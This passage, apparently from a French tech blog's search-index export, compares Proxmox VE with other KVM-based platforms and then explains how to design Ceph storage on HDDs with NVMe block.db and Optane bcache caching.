d\u0026rsquo;utiliser QEMU, explicitement pour éviter l\u0026rsquo;énorme matrice d\u0026rsquo;invités, d\u0026rsquo;équipements et de modes de QEMU. Ils sont aussi allés dans l\u0026rsquo;autre sens et ont durci le module noyau en amont, en retirant des équipements émulés dont personne n\u0026rsquo;avait besoin et en resserrant le jeu d\u0026rsquo;instructions émulées. Ce travail est dans le KVM que vous faites tourner.\nAlibaba a fait la même chose avec X-Dragon : un hyperviseur KVM allégé avec la virtualisation réseau et stockage déportée sur une carte MoC à base de FPGA.\nNutanix AHV, c\u0026rsquo;est KVM plus libvirt plus QEMU plus Open vSwitch plus l\u0026rsquo;orchestration de Nutanix — de tous les produits commerciaux de cette liste, le plus proche parent de Proxmox VE. Une couche 4 différente, et une facture très différente.\nCinq plateformes, cinq modèles d'équipements, un seul KVM Amazon EC2Nitro Google CloudCompute Engine Alibaba CloudECS, X-Dragon NutanixAHV Proxmox VEsur Debian gestion équipements hyperviseur matériel plan de contrôle EC2 console et API à l'heure d'instance plan de contrôle GCE console et API à l'heure d'instance console ECS et API à l'heure d'instance Prism et AOS sur chaque nœud par nœud et par an pve-manager pveproxy, HA, SDN sur chaque nœud abonnement facultatif VMM sur mesure, pas de QEMU du tout les équipements vivent sur les cartes Nitro Le VMM maison de Google, en espace utilisateur, délibérément pas QEMU VMM simplifié, réseau et stockage déportés sur une carte MoC QEMU, libvirt et Open vSwitch QEMU, avec LXC à côté KVM \u0026#8212; kvm.ko, kvm-intel.ko / kvm-amd.ko la frontière d'isolation, et c'est le même code dans chaque colonne Intel VT-x + EPT \u0026#183; AMD-V + NPT Le même module noyau dans chaque colonne. Ce qui change en montant dans la pile, c\u0026rsquo;est le modèle d\u0026rsquo;équipements, puis la couche de gestion, puis la licence — et c\u0026rsquo;est aussi l\u0026rsquo;ordre dans lequel ces plateformes diffèrent réellement. Proxmox VE garde QEMU exprès Il est tentant de lire le tableau comme un classement, avec AWS et Google en haut pour avoir remplacé QEMU. C\u0026rsquo;est la mauvaise lecture, parce que leur contrainte n\u0026rsquo;est pas la vôtre.\nAWS et Google font tourner un seul profil matériel, à une échelle où un unique bug d\u0026rsquo;émulation d\u0026rsquo;équipement est un événement à l\u0026rsquo;échelle de la flotte, et ils contrôlent chaque frontière d\u0026rsquo;image invitée qui les intéresse. Dans ce monde-là, l\u0026rsquo;étendue de QEMU est presque intégralement un passif, donc le supprimer est manifestement juste.\nVous n\u0026rsquo;êtes pas dans ce monde-là. Vous avez une appliance de 2013 qui veut un e1000. Vous avez une VM Windows dont le type de machine doit rester figé jusqu\u0026rsquo;à la fin de ses jours. Vous avez un GPU à passer, un contrôleur SAS émulé pour satisfaire un installeur, un magasin de variables UEFI à préserver. QEMU est exactement ce qui permet à une plateforme généraliste de dire oui à tout ça.\nCe qu\u0026rsquo;AWS appelle une surface d\u0026rsquo;attaque est ce que vous appelez une matrice de compatibilité. Les deux descriptions sont exactes ; la différence, c\u0026rsquo;est de savoir si vous choisissez vos charges de travail.\nÇa explique aussi la forme de cette file de correctifs. AWS et Google ont résolu la sauvegarde et les instantanés en dehors du VMM, dans leurs propres services de stockage. Proxmox n\u0026rsquo;avait pas de service de stockage où les résoudre, alors ils les ont mis dans QEMU — et c\u0026rsquo;est pourquoi savevm-async et le pilote bloc PBS existent comme correctifs plutôt que comme produits.\nEt ça vaut d\u0026rsquo;être su pour une raison pratique : les parties de Proxmox VE qui vous manqueraient le plus sont celles qui ne sont pas en amont. Vos configurations de VM sont du texte brut et vos images de disque sont des formats standard, donc une machine se déplacera. Mais un instantané qui inclut l\u0026rsquo;état de la RAM, et une chaîne incrémentale de Proxmox Backup Server, dépendent du fork QEMU de Proxmox. C\u0026rsquo;est une dépendance bien plus légère qu\u0026rsquo;un hyperviseur propriétaire — le fork est public, en AGPL, et vous pouvez lire chaque correctif dedans — mais elle n\u0026rsquo;est pas nulle, et « aucun enfermement au niveau logiciel » devrait porter cette note de bas de page.\nAlors — est-ce de niveau entreprise ? La forme paresseuse de cet argument ne marche pas, et il vaut mieux le dire franchement. « AWS utilise KVM, donc Proxmox VE est de niveau entreprise » est un non-sequitur : ça prend une affirmation sur une couche et l\u0026rsquo;applique discrètement à un produit entier.\nVoici la version qui tient.\nCe qui est partagé, c\u0026rsquo;est la couche la plus difficile à réussir et la plus dangereuse à rater. La virtualisation du CPU et de la mémoire, et la frontière d\u0026rsquo;isolation entre locataires, c\u0026rsquo;est la partie où un bug est une brèche plutôt qu\u0026rsquo;une panne. Ce code est relu par des ingénieurs payés par Amazon, Google, Red Hat, Intel, AMD, IBM et Alibaba, et ses bugs sont trouvés par les organisations qui exploitent les plus grandes flottes qui existent — généralement avant que le noyau ne vous parvienne. Quand une vulnérabilité d\u0026rsquo;évasion d\u0026rsquo;invité arrive, le correctif vient par la mise à jour de noyau normale que vous alliez appliquer de toute façon. Vous n\u0026rsquo;attendez pas le cycle de publication d\u0026rsquo;un seul éditeur pour un hyperviseur que lui seul peut voir.\nCe qui n\u0026rsquo;est pas partagé, c\u0026rsquo;est tout ce qui est au-dessus de la frontière. Ce qui veut dire que la question s\u0026rsquo;effondre en deux questions bien plus faciles à répondre :\nLa couche de gestion est-elle assez bonne pour votre façon d\u0026rsquo;exploiter ? Pouvez-vous acheter du support dessus à des conditions vivables ? Les deux peuvent être testées dans une preuve de concept et écrites dans un contrat. Aucune ne demande de la foi en un hyperviseur.\nC\u0026rsquo;est une bien meilleure position que celle que suppose la question de départ — qu\u0026rsquo;on vous demanderait de faire confiance à un hyperviseur inédit venu d\u0026rsquo;un petit éditeur. Ce n\u0026rsquo;est pas le cas. Le code propre à Proxmox est une couche de gestion surtout en Perl et de plus en plus en Rust, plus cette file de correctifs contre QEMU, et remarquez où les correctifs atterrissent : le modèle d\u0026rsquo;équipements et le chemin de sauvegarde, pas la frontière d\u0026rsquo;isolation.\nIl vaut aussi la peine de savoir ce que coûte une défaillance de la couche propre à Proxmox. Les processus QEMU sont des processus indépendants ordinaires sur l\u0026rsquo;hôte, donc pveproxy qui s\u0026rsquo;écroule n\u0026rsquo;arrête pas une seule machine virtuelle. C\u0026rsquo;est un périmètre d\u0026rsquo;impact très différent de celui d\u0026rsquo;une perte du composant qui possède la frontière d\u0026rsquo;isolation.\nCe que « le même hyperviseur » ne vous achète pas C\u0026rsquo;est là que les documents de confiance des éditeurs s\u0026rsquo;arrêtent d\u0026rsquo;habitude, ce qui vous dit quelque chose sur les gens à qui ils sont destinés. C\u0026rsquo;est la moitié la plus utile.\nÇa ne vous achète pas la fiabilité d\u0026rsquo;AWS. La disponibilité de Nitro n\u0026rsquo;a que très peu à voir avec KVM. Elle vient du plan de contrôle, du tissu réseau, du service de stockage, de la gestion de capacité et de la pratique opérationnelle autour. La fiabilité de votre cluster viendra de la conception de votre quorum Corosync, de votre configuration de fencing, de votre choix de stockage et de votre redondance réseau. KVM n\u0026rsquo;a d\u0026rsquo;avis sur aucun de ces points. Partager un hyperviseur avec un hyperscaler ne fait pas hériter de son exploitation.\nÇa ne vous achète pas la surface d\u0026rsquo;attaque de Nitro, et c\u0026rsquo;est là qu\u0026rsquo;atterrit la moitié légitime de l\u0026rsquo;accusation du type 2. Vous faites tourner QEMU sur un noyau généraliste, et historiquement c\u0026rsquo;est dans le modèle d\u0026rsquo;équipements de QEMU que vivaient les évasions de VM mémorables — VENOM, dans un contrôleur de disquette émulé dont personne ne se servait, en est l\u0026rsquo;exemple canonique. Google pouvait noter à l\u0026rsquo;époque que Compute Engine n\u0026rsquo;était pas touché justement parce qu\u0026rsquo;il ne fait pas tourner QEMU. Vous, vous le faites tourner, donc les contrôles compensatoires sont à vous : préférez virtio au matériel émulé, ne présentez pas d\u0026rsquo;équipements dont vous n\u0026rsquo;avez pas besoin, laissez les profils AppArmor tranquilles, et patchez QEMU avec la même discipline que le noyau. Les correctifs extra/ de Proxmox sont eux qui font exactement ça pour vous, et c\u0026rsquo;est une chose raisonnable à vérifier qu\u0026rsquo;ils font toujours.\nÇa ne rend pas le comportement des VM portable d\u0026rsquo;une plateforme à l\u0026rsquo;autre. Le choix du modèle de CPU, le versionnage du type de machine, la compatibilité de migration à chaud et le comportement de l\u0026rsquo;horloge se décident tous dans les couches 3 et 4, et ils diffèrent partout. Un cluster de générations de CPU mélangées vous punira encore d\u0026rsquo;avoir mis le type de CPU à host, et les horloges invitées dérivent encore quel que soit le logo sur la plateforme. Même hyperviseur n\u0026rsquo;est pas même comportement.\nÇa ne répond pas à la question du support — celle dont les achats se soucient réellement, et à juste titre. Proxmox VE est en AGPLv3 et libre d\u0026rsquo;usage en production. L\u0026rsquo;abonnement achète le dépôt testé pour l\u0026rsquo;entreprise et le support éditeur, à partir de 120 € par socket et par an. Le support de Proxmox lui-même est assuré aux heures ouvrables autrichiennes, donc une couverture permanente vient de partenaires plutôt que de Vienne. croit, où je travaille, est l\u0026rsquo;un de ces partenaires, et couvre 24 h/24, 365 jours par an. C\u0026rsquo;est une négociation commerciale, pas un risque technique — et que ce soit une négociation commerciale, c\u0026rsquo;est tout l\u0026rsquo;intérêt de ce qui précède.\nCe qu\u0026rsquo;il faut vraiment évaluer à la place Si l\u0026rsquo;hyperviseur est réglé, une preuve de concept devrait passer son temps sur la couche qui est réellement propre à Proxmox VE :\nLe fencing et la haute disponibilité. Coupez l\u0026rsquo;alimentation d\u0026rsquo;un nœud qui héberge des invités HA et chronométrez le redémarrage. Puis faites-le à deux nœuds et confirmez que les restants se comportent comme vous l\u0026rsquo;attendez quand le quorum est perdu. La migration à chaud entre générations de CPU. Avec le modèle de CPU que vous comptez réellement standardiser, pas host. La sauvegarde et, plus important, la restauration. Les temps de restauration sous charge, pas les temps de sauvegarde. Personne n\u0026rsquo;a jamais été remercié pour une sauvegarde rapide. Le modèle de permissions. Savoir si vous pouvez donner à une équipe applicative la console et le contrôle d\u0026rsquo;alimentation sur ses propres VM et rien d\u0026rsquo;autre, assez finement pour satisfaire un auditeur. L\u0026rsquo;API. Tout ce que fait l\u0026rsquo;interface web est un appel d\u0026rsquo;API ; si votre automatisation ne sait pas la piloter, la plateforme ne collera pas à votre façon de travailler. Le chemin de mise à jour. Une montée de version majeure sur le cluster de test, avant d\u0026rsquo;avoir 400 VM dessus. Aucune de ces questions ne porte sur KVM. C\u0026rsquo;est bien tout le propos.\nL\u0026rsquo;hyperviseur est la partie réglée. Passez la preuve de concept sur les parties qui ne le sont pas.\nRéférences KVM lui-même\nKVM API documentation — l\u0026rsquo;interface ioctl de /dev/kvm, qui est tout le contrat de l\u0026rsquo;hyperviseur Linux 2.6.20 release notes — la version dans laquelle KVM a été fusionné, février 2007 Some KVM developments — LWN, janvier 2007, sur KVM dans les jours qui ont suivi son arrivée dans la branche principale Comment les autres hyperviseurs sont bâtis\nInterpreting virtual machine monitor and executable failures — la description par Broadcom lui-même d\u0026rsquo;une VM ESXi en marche comme « several processes or userworlds », avec un VMM par vCPU et un VMX par VM The Architecture of VMware ESXi (PDF) — le livre blanc qui appelle VMkernel « a POSIX-like operating system », avec des processus, des signaux, un système de fichiers et des threads. Lié via un miroir parce que l\u0026rsquo;URL VMware d\u0026rsquo;origine n\u0026rsquo;a pas survécu à la réorganisation Broadcom, ce qui est en soi un petit commentaire sur la continuité des éditeurs Hyper-V architecture — Microsoft sur le Virtual Machine Worker Process comme composant en mode utilisateur, un par VM, où vivent tous les équipements émulés The Nutanix Bible — AHV architecture — AHV décrit comme KVM avec libvirt, QEMU et Open vSwitch Qui fait tourner KVM, et comment ils l\u0026rsquo;ont changé\n7 ways we harden our KVM hypervisor at Google Cloud — Google sur l\u0026rsquo;exécution de KVM sans QEMU, et le durcissement amont qu\u0026rsquo;ils ont fait The AWS Nitro System — quels types d\u0026rsquo;instances EC2 font tourner l\u0026rsquo;hyperviseur Nitro AWS EC2 Virtualization 2017 : Introducing Nitro — le compte rendu de Brendan Gregg sur la transition de Xen à KVM, toujours le plus clair sur le sujet Firecracker — le VMM minimal d\u0026rsquo;AWS basé sur KVM, derrière Lambda et Fargate Alibaba Cloud\u0026rsquo;s sixth-generation ECS instances — l\u0026rsquo;hyperviseur X-Dragon et le déport MoC KubeVirt — le modèle QEMU/KVM dans un pod derrière OpenShift Virtualization et Harvester OpenStack Nova hypervisor support matrix — KVM comme pilote de référence Ce que Proxmox maintient\nThe Proxmox GitHub organisation — 89 dépôts, dont pve-qemu, pve-kernel, pve-edk2-firmware et l\u0026rsquo;empaquetage de lxc, zfsonlinux, openvswitch, libiscsi, corosync-pve et ceph pve-qemu patch series — les 78 correctifs comptés plus haut, et le moyen le plus rapide de voir exactement ce que Proxmox ajoute à QEMU Proxmox VE storage documentation — la liste des greffons natifs, quels types de stockage sont partagés, et la phrase sur l\u0026rsquo;usage de toutes les technologies de stockage disponibles pour Debian Linux nvme-cli et nvmetcli — l\u0026rsquo;outillage hôte et cible NVMe-oF ; aoetools et vblade pour l\u0026rsquo;équivalent ATA over Ethernet. Tous dans Debian trixie, sur lequel Proxmox VE 9 est bâti Proxmox VE pricing and subscription tiers — ce que couvre l\u0026rsquo;abonnement Divulgation : je travaille pour croit, un Proxmox Gold Partner. Les affirmations techniques ci-dessus sont sourcées et vérifiables ; le paragraphe commercial est la partie où j\u0026rsquo;ai un intérêt, alors traitez-le en conséquence.\n","permalink":"https://blogs.damiendye.uk/fr/proxmox/kvm-the-hypervisor-inside-proxmox-ve/","summary":"« Proxmox est-il de niveau entreprise ? » est une question sur l\u0026rsquo;hyperviseur, et Proxmox VE n\u0026rsquo;en contient pas. L\u0026rsquo;hyperviseur, c\u0026rsquo;est KVM — le même module noyau sous EC2, Google Cloud, Alibaba Cloud, Nutanix AHV et OpenShift Virtualization. Ce que Proxmox maintient vraiment, pourquoi l\u0026rsquo;argument du type 1 vise la mauvaise ligne, et ce que le socle commun ne vous achète pas.","title":"Proxmox VE n'est pas un hyperviseur — KVM l'est, et vous le faites déjà tourner"},{"content":"Pourquoi les HDD reviennent au menu Pendant des années, le conseil était assez simple pour tenir sur un post-it : mettez tout sur des SSD.\nCe conseil était juste, et il était aussi bon marché. Ni l\u0026rsquo;un ni l\u0026rsquo;autre n\u0026rsquo;est tout à fait vrai maintenant. L\u0026rsquo;offre de NAND s\u0026rsquo;est resserrée, la demande d\u0026rsquo;IA a poussé le prix de la flash vers le haut, et le NVMe de grande capacité est devenu difficile à justifier pour un déploiement Proxmox soucieux des coûts — le genre qui doit être opérationnel, fiable, et aussi peu cher que l\u0026rsquo;honnêteté le permet.\nLes HDD d\u0026rsquo;entreprise sont de nouveau intéressants pour la raison qu\u0026rsquo;ils l\u0026rsquo;ont toujours été : la capacité par livre, et rien d\u0026rsquo;autre n\u0026rsquo;en approche.\nLe hic est que quiconque a fait tourner des VM sur des disques à plateaux sait à quel point cela peut mal tourner. Cette expérience est réelle, et c\u0026rsquo;est d\u0026rsquo;ordinaire la faute de l\u0026rsquo;architecture plutôt que des disques.\nBlâmer les disques est plus facile, notez bien. C\u0026rsquo;est aussi faux, et c\u0026rsquo;est cher, parce que cela pousse les gens à acheter de la flash dont ils n\u0026rsquo;avaient pas besoin.\nTout ce qui suit suppose Proxmox avec des OSD Ceph hyper-convergés, parce que c\u0026rsquo;est là que les décisions de disposition mordent réellement.\nLe problème est la latence, pas le débit Un HDD d\u0026rsquo;entreprise moderne déplace parfaitement bien de grandes données séquentielles. Ce n\u0026rsquo;a jamais été le goulot d\u0026rsquo;étranglement.\nUn disque d\u0026rsquo;entreprise à 7,2k tr/min livre quelque part autour de 80 à 100 IOPS de travail aléatoire, parce que chaque opération aléatoire attend un déplacement de tête et une rotation de plateau. Ce nombre n\u0026rsquo;a quasiment pas bougé en vingt ans. C\u0026rsquo;est de la mécanique, pas de l\u0026rsquo;électronique. Un SSD d\u0026rsquo;entreprise d\u0026rsquo;entrée de gamme en est à trois ou quatre ordres de grandeur.\nDonnez au même disque un travail séquentiel et c\u0026rsquo;est un périphérique utile. Le taux d\u0026rsquo;opérations double à peu près, à environ 200 IOPS, mais chacune de ces opérations porte maintenant un grand bloc parce que la tête est déjà au bon endroit et peut continuer à diffuser. Vous obtenez donc un vrai débit, 150 à 250 Mo/s, à un prix par téraoctet que rien d\u0026rsquo;autre ne touche.\nC\u0026rsquo;est là l\u0026rsquo;asymétrie importante, et ce n\u0026rsquo;est pas « les HDD sont lents ». Un disque à plateaux est bon en travail séquentiel et désespérant en travail aléatoire, et les deux nombres ne sont proches que parce que la chose bornée est le nombre d\u0026rsquo;opérations, pas les octets.\nCe qui fixe tout le cahier des charges. Vous n\u0026rsquo;essayez pas de rendre le disque plus rapide. Vous ne le pouvez pas. Vous essayez de faire en sorte qu\u0026rsquo;il passe son temps dans le mode où il est déjà compétent, et de garder le petit trafic aléatoire loin de lui. À ce titre, tout ce qui suit est cette seule idée appliquée deux fois.\nLe problème est que les machines virtuelles ne génèrent pas la charge où les HDD sont bons. Elles génèrent des mises à jour de métadonnées, des écritures de journal, de petits vidages synchrones, de la journalisation, de l\u0026rsquo;entretien de système de fichiers, et des rafales d\u0026rsquo;activité aléatoire d\u0026rsquo;une douzaine d\u0026rsquo;invités à la fois qui arrivent entrelacées au disque.\nDésespérant en aléatoire, vraiment bon en séquentiel — le mode dans lequel tourne le disque est toute la conception Opérations par seconde, un périphérique — barres hors échelle, car trois ordres de grandeur ne tiennent pas HDD 7,2k — aléatoire 80–100 chaque opération attend un déplacement et une rotation — désespérant HDD 7,2k — séquentiel ~200 et chacune porte un grand bloc : 150-250 Mo/s de vrai débit NVMe d'entreprise 100k+ pas de pièces mobiles, donc pas de déplacement à payer Ce qu'un cluster hyper-convergé envoie réellement au disque métadonnées invité\u003c écritures de journal, fsync journalisation et entretien métadonnées\u003c RocksDB\u003c rafales aléatoires transferts séquentiels\u003c Cinq de ces six sont petits et aléatoires. Un seul est ce où le plateau est bon. Ce n'est pas « les HDD sont lents ». Un disque à plateaux est vraiment bon en séquentiel et désespérant en aléatoire, et les deux chiffres sont proches seulement parce que la quantité bornée est le nombre d'opérations, pas les octets que chacune porte. Le travail n'est donc pas de rendre le disque plus rapide. C'est de le garder dans le mode où il est déjà compétent. Les taux d\u0026rsquo;opérations aléatoires et séquentiels sont étonnamment proches, parce que ce qui est borné est le nombre d\u0026rsquo;opérations plutôt que les octets que chacune porte. Le séquentiel est là où le disque gagne son argent ; un cluster hyper-convergé lui envoie nativement l\u0026rsquo;autre genre de travail. Ceph ajoute sa propre couche à cela. Chaque écriture porte des mises à jour de métadonnées RocksDB à côté des données. Si tout cela atterrit sur des plateaux nus, les disques passent leur temps à se déplacer au lieu de servir, et vous obtenez le symptôme que chaque administrateur reconnaît : une attente d\u0026rsquo;E/S élevée, des invités poussifs, une réactivité incohérente, et un cluster qui paraît bien plus lent que ne le suggère sa fiche de capacité.\nLes propres conseils matériels de Ceph sont directs sur où cela mène. Ils avertissent de « consider carefully the ostensible cost-per-gigabyte advantage of larger HDDs, and the concomitant limitations of IOPS per TB » — de bien peser l\u0026rsquo;avantage apparent du coût par gigaoctet des gros HDD contre les limites d\u0026rsquo;IOPS par To — et disent que les disques au-dessus de 8 To « may be best suited for storage of large files / objects that are not at all performance-sensitive ».\nIl vaut de faire cette arithmétique, parce que les disques qui rendent ceci économique en premier lieu sont de grands disques. 20 To et plus. Un disque de 20 To fait encore ses 80 à 100 IOPS aléatoires, parce que la capacité ne vous achète aucune opération. Il offre donc environ 4 à 5 IOPS aléatoires par téraoctet, là où un disque de 8 To en gère à peu près onze, et un de 2 To quarante.\nÀ la propre mesure de Ceph, alors, un plateau de 20 To est bien à l\u0026rsquo;intérieur du territoire où il vous dit de ne pas mettre de charges sensibles à la performance.\nCe n\u0026rsquo;est pas un argument contre leur achat. C\u0026rsquo;est la raison pour laquelle le reste de ce billet existe. La conception ci-dessous est exactement ce qui rend un plateau de 20 To viable pour du stockage de VM, en faisant en sorte que le petit travail aléatoire ne l\u0026rsquo;atteigne jamais.\nSortir les métadonnées du plateau Le changement de plus grande valeur pour un cluster sur HDD est de cesser de faire stocker au plateau la comptabilité de Ceph.\nBlueStore garde trois choses par OSD : les données elles-mêmes sur block, la base de métadonnées RocksDB sur block.db, et le journal d\u0026rsquo;écriture anticipée sur block.wal. Par défaut, les trois vivent sur le même périphérique. Mettez block.db sur NVMe à la place et une grande quantité de petites E/S aléatoires quitte le disque entièrement.\nLa documentation matérielle de Ceph le dit clairement : « HDD OSDs may see a significant write latency improvement by offloading WAL+DB onto an SSD » — les OSD HDD peuvent voir une amélioration notable de la latence d\u0026rsquo;écriture en déchargeant WAL+DB sur un SSD.\nDisposition d'OSD BlueStore : tout sur le plateau, contre métadonnées sur NVMe Défaut : un périphérique tient les trois écritures de données d'objets métadonnées RocksDB Un HDD 7,2k block block.db .wal Les deux flux partagent un budget de 80 IOPS. Le disque se déplace entre données et métadonnées à chaque écriture. block.db sur NVMe : les métadonnées partent écritures de données d'objets métadonnées RocksDB HDD 7,2k block — données seulement NVMe d'entreprise block.db .wal Le plateau ne fait plus qu'un travail. Nommez un périphérique DB et le WAL suit. Dimensionnez\u0026#160;block.db\u0026#160;à 1-2 % de\u0026#160;block\u0026#160;pour les charges RBD, ou 2,5 % pour être à l'aise. Sous-dimensionnez et RocksDB n'échoue pas — il déborde sur le plateau, ce qui est la seule issue qui gaspille la flash que vous venez d'acheter. Les tailles utiles sautent à environ 3 Go, 30 Go et 300 Go, car une partition DB ne peut pleinement utiliser que des tailles correspondant aux sommes des niveaux de RocksDB. Arrondir au palier supérieur est d'ordinaire gratuit ; arrondir au-dessous n'achète rien. À gauche, tout sur un plateau : les écritures de données et les mises à jour RocksDB se disputent les mêmes 80 IOPS environ. À droite, block.db sur NVMe : le trafic de métadonnées quitte le disque, et le plateau se retrouve à faire la seule chose où il est bon. Utilisez du vrai NVMe d\u0026rsquo;entreprise ici, pas de la flash grand public. La raison n\u0026rsquo;est pas les chiffres de test d\u0026rsquo;affiche. C\u0026rsquo;est une latence stable sous charge soutenue, et la protection contre la coupure de courant. La documentation de Ceph est directe : « Enterprise-class SSDs are best for Ceph: they feature power loss protection (PLP) » — les SSD de classe entreprise sont les meilleurs pour Ceph, ils ont la protection contre la coupure de courant — et « bargain client-class or off-brand SSDs are a false economy » — les SSD grand public à prix cassé ou sans marque sont une fausse économie.\nLes disques de la classe Samsung PM9A3 et Micron 7450 Pro sont le genre de chose qui a sa place ici. Sous pression d\u0026rsquo;écriture, Ceph se soucie de la cohérence bien plus que des chiffres de pointe, et c\u0026rsquo;est exactement ce qui sépare un disque d\u0026rsquo;entreprise d\u0026rsquo;un disque grand public rapide.\nDimensionner block.db, et ce que coûte le débordement Trompez-vous de taille et le bénéfice s\u0026rsquo;évapore en silence, parce que quand block.db se remplit, RocksDB n\u0026rsquo;échoue pas — il déborde de nouveau sur le périphérique lent, exactement là où il aurait été sans le NVMe.\nC\u0026rsquo;est le pire des deux mondes : vous avez acheté la flash et vous vous déplacez encore sur le plateau.\nLes conseils Ceph actuels :\nCharge block.db en fraction de block RBD / bloc — disques de VM 1 % à 2 % RGW / objet au moins 4 % Recommandation générale en déchargeant WAL+DB au moins 2,5 % Le stockage de VM Proxmox est la ligne RBD, donc 1-2 % est le chiffre de planification honnête, et 2,5 % est un endroit confortable où se tenir.\nPassez cela contre un disque de 20 To et les nombres attirent votre attention :\nblock.db pour un OSD de 20 To À 1 % 200 Go À 2 % 400 Go À 2,5 % 500 Go Prenez cela avec les paliers de niveau RocksDB ci-dessous et 300 Go par OSD est le point d\u0026rsquo;atterrissage sensé. Le palier utile le plus proche du milieu de la fourchette.\nCe qui change ce qu\u0026rsquo;est réellement le périphérique de métadonnées partagé. Huit OSD de 20 To veulent 2,4 To de NVMe entre eux ; quinze d\u0026rsquo;entre eux, le maximum annoncé par Ceph derrière un seul NVMe, veulent 4,5 To. Sur des disques aussi grands, c\u0026rsquo;est la capacité de DB qui décide combien d\u0026rsquo;OSD siègent derrière un périphérique, pas le ratio. Vous manquerez de gigaoctets bien avant de manquer de la bénédiction de Ceph.\nIl y a une subtilité de plus à connaître, parce qu\u0026rsquo;elle rend le dimensionnement intuitif faux. La structure en niveaux de RocksDB veut dire qu\u0026rsquo;une partition DB ne peut pleinement utiliser que des tailles correspondant aux sommes de ses niveaux — produisant historiquement des paliers utiles autour de 3 Go, 30 Go et 300 Go, les tailles intermédiaires n\u0026rsquo;offrant rien de plus que le palier en dessous. Arrondir 18 Go à 30 Go est souvent gratuit en pratique ; l\u0026rsquo;arrondir à 20 Go ne vous achète rien de plus que 3 Go dans le pire cas.\nVérifiez le débordement une fois que le cluster a tourné un moment, pas au premier jour. C\u0026rsquo;est un problème à apparition lente.\nVous n\u0026rsquo;avez pas besoin d\u0026rsquo;un périphérique WAL séparé Celui-ci économise une partition et beaucoup de tripatouillage.\nSi vous spécifiez un périphérique DB et aucun périphérique WAL explicite, Ceph met le WAL sur le périphérique rapide avec la DB automatiquement. La documentation indique que « whenever a DB device is specified but an explicit WAL device is not, the WAL will be implicitly colocated with the DB on the faster device » — chaque fois qu\u0026rsquo;un périphérique DB est spécifié mais pas un WAL explicite, le WAL sera implicitement colocalisé avec la DB sur le périphérique plus rapide.\nDonc « mettez la DB et le WAL sur NVMe » est le bon objectif, mais c\u0026rsquo;est un argument, pas deux. Un block.wal séparé n\u0026rsquo;a de sens que si vous avez un troisième palier plus rapide où le mettre.\nCouper le cache d\u0026rsquo;écriture du HDD Petit, sans éclat, et facile à rater.\nLa documentation de Ceph note que la performance d\u0026rsquo;un OSD « may be dramatically increased \u0026hellip; by disabling this write cache » — peut être dramatiquement augmentée en désactivant ce cache d\u0026rsquo;écriture — sur les HDD. Le cache volatil dans le disque réordonne et retarde les écritures d\u0026rsquo;une façon qui combat la sémantique de vidage de Ceph, et le couper rend d\u0026rsquo;ordinaire les choses plus rapides plutôt que plus lentes.\nCela devient obligatoire plutôt que conseillé dès que bcache est en jeu, ce qui est la section suivante.\nPendant que vous y êtes : vous n\u0026rsquo;avez pas besoin d\u0026rsquo;un HBA capable de RAID. Ceph le dit directement : « You do not need an RoC (RAID-capable) HBA » — vous n\u0026rsquo;avez pas besoin d\u0026rsquo;un HBA capable de RAID. Donnez les disques aux OSD.\nUne Optane par plateau Sortir les métadonnées du disque corrige le régime établi. Cela ne corrige pas les rafales, parce qu\u0026rsquo;une rafale de petites écritures synchrones doit encore être acquittée, et le plateau acquitte encore à la vitesse du plateau.\nC\u0026rsquo;est pour cela que bcache existe, et ce qui le fait marcher ici est l\u0026rsquo;Optane.\nCe qui compte n\u0026rsquo;est pas la capacité. C\u0026rsquo;est le comportement sous charge d\u0026rsquo;écriture. Face à la NAND, l\u0026rsquo;Optane offre une très faible latence, une très haute endurance, et aucune des falaises de ramasse-miettes qui rendent imprévisible la performance de cache d\u0026rsquo;écriture d\u0026rsquo;un SSD une fois qu\u0026rsquo;il a servi un moment. Absorber du trafic petit, en rafales, lourd en écriture est la chose où il est le meilleur au monde.\nLa disposition qui compte : une Optane par HDD, chaque paire son propre périphérique bcache. Pas une Optane partagée sur une étagère de disques.\nTrois paliers, deux modèles de partage : cache d'écriture apparié, périphérique de métadonnées partagé Un nœud Proxmox, trois OSD Écritures de VM invité — petites, synchrones, en rafales Métadonnées RocksDB Ceph bcache0 Optane cache d'écriture HDD osd.0 block bcache1 Optane cache d'écriture HDD osd.1 block bcache2 Optane cache d'écriture HDD osd.2 block Une Optane par plateau — appariée, jamais partagée Une défaillance de cache coûte un seul OSD ; Ceph le reconstruit. Endurance requise ici : 30-100 DWPD. Optane seulement. NVMe d'entreprise partagé block.db + WAL implicite, les trois OSD protégé coupure de courant Partagé, car les métadonnées sont petites Ceph dit 4-5 HDD par SSD SATA, pas plus de 15 par NVMe. Perdez celui-ci et chaque OSD derrière lui suit. NAND d'entreprise convient — mais rapide, pas au rabais. Les deux paliers sont requis, et ce ne sont pas le même achat. L'Optane raccourcit l'acquittement d'écriture ; elle ne fait rien pour les lectures de métadonnées que Ceph émet sans cesse, et ne fait que différer les écritures de métadonnées. Sautez le NVMe et RocksDB est de retour sur le plateau. Chaque écriture vers un OSD traverse son périphérique de cache, pourquoi celui-là doit être de l'Optane. Le périphérique de métadonnées n'a pas à l'être — mais il doit rester un NVMe rapide : petit volume d'écriture, et pourtant il porte la latence de métadonnées de chaque OSD derrière lui. Trois paliers, deux modèles de partage différents. Le périphérique DB/WAL est partagé sur plusieurs OSD parce que le volume d\u0026rsquo;écriture RocksDB est petit, mais il doit quand même être un NVMe rapide parce qu\u0026rsquo;il porte la latence de métadonnées de chacun d\u0026rsquo;eux. Le cache d\u0026rsquo;écriture Optane est apparié un-pour-un avec son plateau, si bien qu\u0026rsquo;une défaillance de cache ne peut jamais coûter qu\u0026rsquo;un seul OSD. L\u0026rsquo;appariement est un choix délibéré, et il achète deux choses.\nPas de contention. Chaque plateau obtient à lui seul toute la latence et la profondeur de file d\u0026rsquo;une Optane, plutôt que de faire la queue derrière les rafales de sept autres OSD.\nUn domaine de défaillance que Ceph sait déjà survivre. Un cache d\u0026rsquo;écriture partagé tient des données sales pour chaque OSD derrière lui, donc le perdre les perd tous à la fois ; apparié un-pour-un, perdre une Optane coûte exactement un OSD. Cette distinction est la conséquence la plus importante de cette conception, et elle a son propre traitement dans ce que vous abandonnez.\nCeci doit être de l\u0026rsquo;Optane. Pas de la NAND. Le mot « Optane » n\u0026rsquo;est pas une préférence de marque ni un agrément ici. Substituer un NVMe NAND — si cher soit-il — construit quelque chose qui s\u0026rsquo;use, et la raison est l\u0026rsquo;endurance.\nRegardez où siège le périphérique de cache. Parce que cette conception coupe le contournement séquentiel de bcache — le sequential_cutoff=0 dans la règle ci-dessous — chaque écriture vers cet OSD passe par lui : pas seulement les rafales, tout. Cela fait du cache le périphérique au plus fort cycle de service du 